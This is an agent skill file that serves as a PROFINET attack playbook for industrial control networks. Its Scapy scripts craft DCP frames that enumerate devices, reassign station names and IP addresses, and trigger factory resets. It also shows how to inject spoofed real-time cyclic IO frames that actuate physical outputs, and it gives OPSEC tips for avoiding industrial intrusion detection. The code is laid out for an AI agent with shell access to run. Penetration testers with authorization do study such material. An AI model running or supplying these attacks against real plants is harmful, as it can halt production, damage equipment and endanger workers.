AGENT SKILL

profinet

PROFINET (L2 EtherType 0x8892 / DCP) attack playbook — DCP Identify-All broadcast enumeration, device fingerprinting, station-name and IP reassignment (breaks IO-controller mapping), flash-LED physical location, factory-reset, RT frame injection/replay for cyclic-IO spoofing. Siemens/EU fieldbus peer of S7Comm; requires same L2 broadcast domain.

License 许可
Apache-2.0
所属仓库
Akapi895/raptix
最近更新
2026-11-06
Stars
★ 0
Forks
0

01 前言 Front Matter

name
profinet
metadata
{ "tags": "profinet, dcp, siemens, ics, ot, fieldbus", "subdomain": "ics-ot", "when_to_use": "profinet profinet-rt dcp 0x8892 34962 34963 34964 siemens fieldbus pnio discovery device-name station-name reassign flash-led factory-reset", "mitre_attack": "T0842, T0846, T0814, T0816" }
description
PROFINET (L2 EtherType 0x8892 / DCP) attack playbook — DCP Identify-All broadcast enumeration, device fingerprinting, station-name and IP reassignment (breaks IO-controller mapping), flash-LED physical location, factory-reset, RT frame injection/replay for cyclic-IO spoofing. Siemens/EU fieldbus peer of S7Comm; requires same L2 broadcast domain.
allowed-tools
Bash Read Write

03 SKILL.md 正文

PROFINET Attack Playbook (EtherType 0x8892 / DCP)

PROFINET is the dominant European/Siemens fieldbus for deterministic real-time process automation — deployed in Siemens SIMATIC PLC networks, Beckhoff TwinCAT, Phoenix Contact, and virtually all post-2005 EU manufacturing. Unlike Modbus or EtherNet/IP, PROFINET RT operates at Layer 2 (EtherType 0x8892) — there is no IP header, no routing, and no firewall coverage at the IP layer. The attacker must be on the same Ethernet broadcast domain (OT L2 segment, or have a SPAN/TAP into it). DCP (Discovery and basic Configuration Protocol) provides unauthenticated device enumeration, naming, IP assignment, and factory-reset — all without credentials.

SAFETY FIRST

DCP Set commands (station-name reassignment, IP change, factory-reset) immediately disrupt the IO-controller ↔ IO-device association. When an IO-device loses its expected station name, the PROFINET IO controller goes to BF (Bus Fault) state and the process typically enters a safe/halt state or continues with the last-known values depending on watchdog configuration. This is a process-disruption event. Confirm written scope authorization before any DCP Set or RT frame injection. DCP Identify (read) is safe.

Prerequisites

  • Physical or logical access to the OT L2 segment (direct port, rogue switch, SPAN, compromised HMI/engineering workstation on the same VLAN).
  • Wireshark with pn_dcp dissector (ships by default — filter: pn_dcp).
  • Python with scapy for DCP crafting (or python-profinet library).
# Verify interface sees PROFINET frames
sudo tcpdump -i eth0 ether proto 0x8892 -c 20
# If frames appear: you are on the OT segment

# Install scapy (already on Kali)
pip install scapy

# python-profinet (alternative higher-level library)
pip install profinet

Phase 1 — Discover: DCP Identify-All broadcast

DCP Identify-All is a Layer-2 broadcast to 01:0E:CF:00:00:00 (PROFINET multicast). All devices on the segment reply with their station name, IP, MAC, device type, vendor, order number, firmware.

Wireshark passive discovery

# Capture DCP traffic — Identify requests and responses
sudo wireshark -i eth0 -f "ether proto 0x8892" -k
# Filter in Wireshark: pn_dcp.block_type == 0x0101 (NameOfStation)
# Filter for Identify responses: pn_dcp.service_id == 5 && pn_dcp.service_type == 1

Active DCP Identify-All broadcast (Scapy)

from scapy.all import Ether, sendp, sniff
import struct, socket, time

PROFINET_ETHERTYPE = 0x8892
DCP_MULTICAST_MAC = "01:0e:cf:00:00:00"
IFACE = "eth0"  # replace with your OT interface

def build_dcp_identify_all(xid=1):
    """Build a PROFINET DCP Identify-All request frame."""
    # PROFINET Real-Time header: FrameID 0xFEFE (DCP Identify)
    frame_id = struct.pack(">H", 0xFEFE)
    # DCP header: ServiceID=5 (Identify), ServiceType=0 (Request), XID, Reserved, DCPDataLength
    dcp_header = struct.pack(">BBHHHH",
        0x05,   # ServiceID: Identify
        0x00,   # ServiceType: Request
        xid,    # XID
        0x0000, # Reserved
        0x0000, # ResponseDelay (0=immediate broadcast)
        0x0004, # DCPDataLength (4 bytes for the suboption block)
    )
    # DCP block: Option=All (0xFF), Suboption=All (0xFF), DCPBlockLength=0
    dcp_block = struct.pack(">BBH", 0xFF, 0xFF, 0x0000)

    payload = frame_id + dcp_header + dcp_block
    frame = Ether(dst=DCP_MULTICAST_MAC, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
    return frame

def dcp_identify_all(iface=IFACE, timeout=3):
    frame = build_dcp_identify_all()
    sendp(frame, iface=iface, verbose=False)
    print(f"[*] DCP Identify-All sent on {iface}, listening {timeout}s for responses...")

    responses = sniff(
        iface=iface,
        filter=f"ether proto {hex(PROFINET_ETHERTYPE)}",
        timeout=timeout,
        count=200,
    )
    devices = []
    for pkt in responses:
        raw = bytes(pkt.payload)
        frame_id = struct.unpack(">H", raw[:2])[0]
        if frame_id == 0xFEFE and len(raw) > 10:
            # This is a DCP response — parse it
            src_mac = pkt.src
            # Extract NameOfStation from block (simple heuristic parse)
            # Full parsing requires walking DCP blocks; Wireshark's pn_dcp is most reliable
            devices.append({"mac": src_mac, "raw_len": len(raw)})
            print(f"  Response from {src_mac} ({len(raw)} bytes) — open in Wireshark for details")
    return devices

dcp_identify_all()

Using Siemens STEP 7 / TIA Portal (if available on compromised engineering workstation)

TIA Portal's "Accessible Devices" scan (Menu → Online → Accessible Devices) runs DCP Identify-All automatically and displays a parsed device table — vendor, order number, station name, IP, MAC. This is the fastest enumeration method from a compromised EWS.

Phase 2 — Device fingerprinting: DCP Get

DCP Get retrieves specific blocks from a unicast target (by MAC address or station name). Returns: vendor ID, order ID, firmware version, device role (IO-Device / IO-Controller / IO-Supervisor).

from scapy.all import Ether, sendp, sniff
import struct

PROFINET_ETHERTYPE = 0x8892
IFACE = "eth0"

def build_dcp_get(dst_mac, xid=2, option=0x01, suboption=0x01):
    """
    DCP Get Request for a specific block.
    option 0x01 suboption 0x01 = NameOfStation
    option 0x01 suboption 0x02 = IPSuite (IP address, subnet, gateway)
    option 0x02 suboption 0x01 = ManufacturerSpecific (VendorID, DeviceID)
    option 0x02 suboption 0x05 = DeviceOptions
    """
    frame_id = struct.pack(">H", 0xFEFD)  # 0xFEFD = DCP Get/Set
    dcp_header = struct.pack(">BBHHHH",
        0x03,          # ServiceID: Get
        0x00,          # ServiceType: Request
        xid,
        0x0000,
        0x0000,
        0x0004,        # DCPDataLength
    )
    dcp_block = struct.pack(">BBH", option, suboption, 0x0000)
    payload = frame_id + dcp_header + dcp_block
    return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload

# Get station name from device with known MAC
# frame = build_dcp_get("aa:bb:cc:dd:ee:ff", option=0x01, suboption=0x01)
# sendp(frame, iface=IFACE, verbose=False)
# capture response with sniff(iface=IFACE, filter=f"ether src aa:bb:cc:dd:ee:ff ...", timeout=2)

Phase 3 — Flash-LED (physical device location)

DCP Set with Suboption=Signal causes a device to blink its front-panel LED for ~3 seconds — useful for physically locating a specific device on a production floor. Read-safe; does not disrupt the process.

def build_dcp_flash_led(dst_mac, xid=10):
    """DCP Set Signal — blink device LED (physical locate)."""
    frame_id = struct.pack(">H", 0xFEFD)
    # Block: Option=0x05 (Control), Suboption=0x03 (Signal)
    # BlockQualifier=0x0000, SignalValue=0x0100 (blink)
    dcp_block = struct.pack(">BBHHh", 0x05, 0x03, 0x0004, 0x0000, 0x0100)
    dcp_data_len = len(dcp_block)
    dcp_header = struct.pack(">BBHHHH",
        0x04,  # ServiceID: Set
        0x00,  # ServiceType: Request
        xid,
        0x0000,
        0x0000,
        dcp_data_len,
    )
    payload = frame_id + dcp_header + dcp_block
    return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload

# sendp(build_dcp_flash_led("aa:bb:cc:dd:ee:ff"), iface=IFACE)

Phase 4 — DCP Set attacks (SAFETY GATE — write-class authorization required)

STOP. All DCP Set operations below are write-class and require explicit scope authorization. Station-name change and IP change immediately disrupt process communication.

Station-name reassignment (process disruption)

When a PROFINET IO-device's station name is changed, the IO-controller can no longer address it — the channel goes to BF (Bus Fault). The IO-controller will either go into safe state or continue with last values per watchdog config. This is a process-disruption attack.

def build_dcp_set_station_name(dst_mac, new_name, xid=20):
    """
    DCP Set NameOfStation.
    Option=0x01, Suboption=0x01 (NameOfStation).
    new_name: bytes (PROFINET station names are ASCII, lowercase, max 240 chars)
    """
    name_bytes = new_name.encode("ascii").lower()
    # Pad to even length
    if len(name_bytes) % 2:
        name_bytes += b"\x00"
    block_len = len(name_bytes)
    # Block: Option, Suboption, DCPBlockLength, BlockQualifier, Name
    dcp_block = struct.pack(">BBH", 0x01, 0x01, block_len + 2) + struct.pack(">H", 0x0001) + name_bytes
    total_len = len(dcp_block)
    dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)
    frame_id = struct.pack(">H", 0xFEFD)
    payload = frame_id + dcp_header + dcp_block
    return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload

# AUTHORIZED TESTING ONLY:
# sendp(build_dcp_set_station_name("aa:bb:cc:dd:ee:ff", "attacker-device"), iface=IFACE)
# After this, the original controller can no longer find "original-station-name"
# The device enters BF state and may stop responding to IO controller.

IP address reassignment

import ipaddress

def build_dcp_set_ip(dst_mac, new_ip, new_subnet, new_gateway, xid=21):
    """
    DCP Set IPSuite.
    Option=0x01, Suboption=0x02.
    """
    ip_int  = int(ipaddress.IPv4Address(new_ip))
    sub_int = int(ipaddress.IPv4Address(new_subnet))
    gw_int  = int(ipaddress.IPv4Address(new_gateway))
    dcp_block = struct.pack(">BBH", 0x01, 0x02, 14) + \
                struct.pack(">H", 0x0001) + \
                struct.pack(">III", ip_int, sub_int, gw_int)
    total_len = len(dcp_block)
    frame_id = struct.pack(">H", 0xFEFD)
    dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)
    payload = frame_id + dcp_header + dcp_block
    return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload

# AUTHORIZED TESTING ONLY:
# sendp(build_dcp_set_ip("aa:bb:cc:dd:ee:ff", "192.168.1.99", "255.255.255.0", "192.168.1.1"), iface=IFACE)

Factory reset

Factory reset erases station name and IP — the device reverts to DHCP or link-local addressing and requires re-commissioning from an engineering workstation. Highly disruptive in production.

def build_dcp_factory_reset(dst_mac, xid=30):
    """
    DCP Set Control/FactoryReset.
    Option=0x05, Suboption=0x04.
    """
    dcp_block = struct.pack(">BBH", 0x05, 0x04, 0x0002) + struct.pack(">H", 0x0000)
    total_len = len(dcp_block)
    frame_id = struct.pack(">H", 0xFEFD)
    dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)
    payload = frame_id + dcp_header + dcp_block
    return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload

# AUTHORIZED TESTING ONLY — extremely disruptive:
# sendp(build_dcp_factory_reset("aa:bb:cc:dd:ee:ff"), iface=IFACE)

Phase 5 — PROFINET RT frame injection / cyclic IO spoofing

PROFINET RT cyclic IO frames (FrameID 0x8000-0xBFFF) carry real-time process data between IO-controller and IO-devices at 1–128 ms intervals. There is no authentication or integrity protection on RT frames. An attacker on the segment can inject or replay spoofed IO data frames.

# Capture baseline cyclic IO traffic for a device pair
sudo tcpdump -i eth0 -w /tmp/profinet_rt.pcap ether proto 0x8892 and ether host aa:bb:cc:dd:ee:ff
# Open in Wireshark, filter: pn_rt.frame_id >= 0x8000 and pn_rt.frame_id <= 0xBFFF
# Identify FrameID, CycleCounter pattern, DataLen for the target device
from scapy.all import Ether, sendp
import struct, time

def inject_profinet_rt(dst_mac, src_mac, frame_id, cycle_counter, io_data, iface="eth0"):
    """
    Inject a PROFINET RT cyclic data frame.
    frame_id: FrameID for the target device (from captured traffic, 0x8000-0xBFFF)
    cycle_counter: Increment to match expected sequence (replay detection hint)
    io_data: bytes — the cyclic process data payload (output values for the IO-device)
    """
    # PROFINET RT: FrameID (2B) + Data + CycleCounter (2B) + DataStatus (1B) + TransferStatus (1B)
    rt_header = struct.pack(">H", frame_id)
    rt_footer = struct.pack(">HBB", cycle_counter, 0x35, 0x00)
    # DataStatus 0x35 = valid + running + no problem
    payload = rt_header + io_data + rt_footer
    frame = Ether(dst=dst_mac, src=src_mac, type=0x8892) / payload
    sendp(frame, iface=iface, verbose=False)

# Example: inject zeroed output data (all outputs off) — AUTHORIZED TESTING ONLY
# io_data = b"\x00" * 4  # size must match actual IO module output size
# inject_profinet_rt("aa:bb:cc:dd:ee:ff", "00:11:22:33:44:55", 0x8001, 1234, io_data)

Frame injection against a live IO-device causes it to accept the injected output values for that cycle. In the absence of authentication, the device cannot distinguish legitimate controller frames from injected ones. Effect: output modules (digital/analog outputs) actuate per the injected data.

Common findings

Finding MITRE Impact
DCP Identify-All reveals all device identities unauthenticated T0846 Full OT asset inventory leak; reveals vendor/firmware/station names
DCP Set — station name reassignment accepted T0816 Process disruption: IO controller loses device, production halt
DCP Set — factory reset accepted T0816 Device re-commissioning required; extended downtime
PROFINET RT — no frame authentication T0836 Cyclic IO data spoofing; physical actuator manipulation
Flat IT/OT L2 (office and OT on same VLAN) T0814 Attacker can reach PROFINET segment from corporate LAN
Siemens S7 + PROFINET co-located (common) T0842 Chain DCP enumeration → S7Comm exploitation (cross-ref s7comm skill)

Evidence

kg_record(
    '[{"kind": "Finding", "key": f"profinet-dcp::{iface}",'
    '  "label": "PROFINET DCP unauthenticated device enumeration",'
    '  "props": {"protocol": "profinet-dcp",'
    '            "ethertype": "0x8892",'
    '            "devices_found": device_count,'
    '            "station_names": station_names_list,  # list of discovered names'
    '            "dcp_set_accepted": False,  # set True only after confirmed write-scope test'
    '            "source": "scapy-dcp-identify-all",'
    '            "l2_segment": iface}}]'
)

ZFP (two-method evidence)

  1. Wireshark capture (.pcap) containing DCP Identify responses, showing at least one device with decoded NameOfStation, IPSuite, and VendorID blocks.
  2. Parsed output table showing MAC → station-name → IP → device-type → firmware for each discovered device.

If write testing was authorized: include DCP Set response frame showing BlockError=0x00 (Set accepted) and a follow-up DCP Get confirming the new station name or IP.

OPSEC notes

  • DCP Identify-All generates a broadcast storm on large PROFINET segments — each device responds individually within a random delay (0–3s). On segments with 100+ devices, the burst may be visible in switch port statistics.
  • DCP Get (unicast) is nearly silent. Prefer unicast Gets after initial identify for lower noise.
  • Siemens Sinema Remote Connect and Scalance switches can log DCP traffic and alert on unexpected Set commands. Industrial NIDS (Claroty, Nozomi, Dragos) signature-detect DCP Set events.
  • Name/IP reassignment takes effect immediately. There is no "preview" or rollback — if you change a station name in production, you must know the original name to restore it via DCP Set.
  • PROFINET RT injection requires matching the CycleCounter and DataLength of the legitimate controller to avoid triggering DataStatus watchdog alarms on the IO-device.
  • Always record original station names and IPs before any DCP Set — document them in evidence for restoration.
  • Cross-reference s7comm skill: Siemens PLCs typically run both S7Comm (TCP 102) and PROFINET on the same device. DCP gives you identity and disruption primitives; S7Comm gives you program-level read/write.

References

04 同仓库更多 Skills